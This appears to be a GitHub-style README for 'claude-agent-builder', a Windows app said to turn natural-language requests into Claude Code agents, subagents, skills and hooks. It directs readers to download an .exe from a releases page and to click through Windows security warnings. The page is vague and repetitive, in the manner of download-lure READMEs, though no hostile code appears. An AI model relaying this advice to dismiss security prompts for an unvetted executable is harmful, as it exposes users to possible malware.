claude-agent-builder helps you build AI agents easily. You use natural language to describe what you need. The app then analyzes your request, finds best ways to solve the problem, and creates the parts needed for a working AI agent. These parts include subagents, skills, hooks, commands, and configuration files.
This tool is made for those who want to use AI agents but do not want to write code. It works with Claude Code to build agents that can run tasks, automate workflows, or help with coding.
Make sure your computer meets these requirements before you start:
- Operating System: Windows 10 or later (64-bit recommended)
- Processor: Intel i3 or better, or AMD equivalent
- RAM: At least 4 GB
- Disk Space: Minimum 200 MB free space
- Internet Connection: Required for initial download, activation, and updates
This project relates to:
- AI agent design and automation
- Building skills and commands for agents
- Managing subagents and hooks
- Using Anthropic’s Claude code framework
- Developer tools for AI workflows
Follow these steps to download and run claude-agent-builder on your Windows PC.
Visit this page to download the latest version of the software:
Download claude-agent-builder Releases
You will find files organized by version. Look for the latest release and download the Windows installer or executable file.
If you are unsure which file to choose, look for one with .exe at the end and the words "Windows" or "Installer" in the filename. This is the file you will run to install the program.
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Open the folder where you saved the downloaded file. It usually is in your "Downloads" folder.
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Double-click the
.exefile to start the installer. -
If Windows shows a security message, click "Run" or "Yes" to continue.
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Follow the on-screen instructions. Most steps only require you to click "Next."
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Choose the folder where you want to install the program or accept the default path.
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When the installation finishes, click "Finish" to close the installer.
Once installed, you can start the app:
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Click the Windows Start menu.
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Search for "claude-agent-builder."
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Click the app icon to open it.
On first run, you might be asked to sign in or activate the app. Follow the instructions on the screen.
After launching the app, you can build your AI agent in a few simple steps:
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Describe your task in natural language.
Type a clear description of what you want the AI agent to do. -
Let the app analyze your request.
The tool will research and plan how to build your agent. -
Review the parts created.
You will see subagents, skills, commands, and configuration details. -
Make adjustments if needed.
You can edit or add extra instructions to customize your agent. -
Save or export your agent.
Export files that you or your developers can use to deploy the agent.
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Natural Language Input: No coding needed. Just explain your problem.
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Automated Research: Finds best practices for building your agent.
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Subagents and Skills: Breaks tasks into small, manageable parts.
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Hooks and Commands: Adds control and triggers for advanced behaviors.
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Config Files: Produces ready-to-use files for setup and deployment.
claude-agent-builder runs locally on your machine. Your inputs stay private unless you choose to share them. The app connects to the Claude Code backend for processing, so a secure internet connection is important. Make sure your network is trusted before use.
To update, repeat the download and installation steps with the newest version from the releases page:
The installer will replace the earlier version and keep your settings.
- Installed files: Usually under
C:\Program Files\claude-agent-builder\ - User data and projects: Stored in your Documents folder
Documents\claude-agent-projects - Logs and error reports: Found in the app data folder
C:\Users\YourName\AppData\Local\claude-agent-builder\logs
For help using claude-agent-builder:
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Read the FAQ and guides in the repository’s "docs" folder.
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Submit questions or issues on the GitHub Issues page.
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Check for updates and announcements on the releases page.
Visit the above link to download your copy of claude-agent-builder for Windows. Follow the installation steps, and you will be ready to create AI agents from your ideas.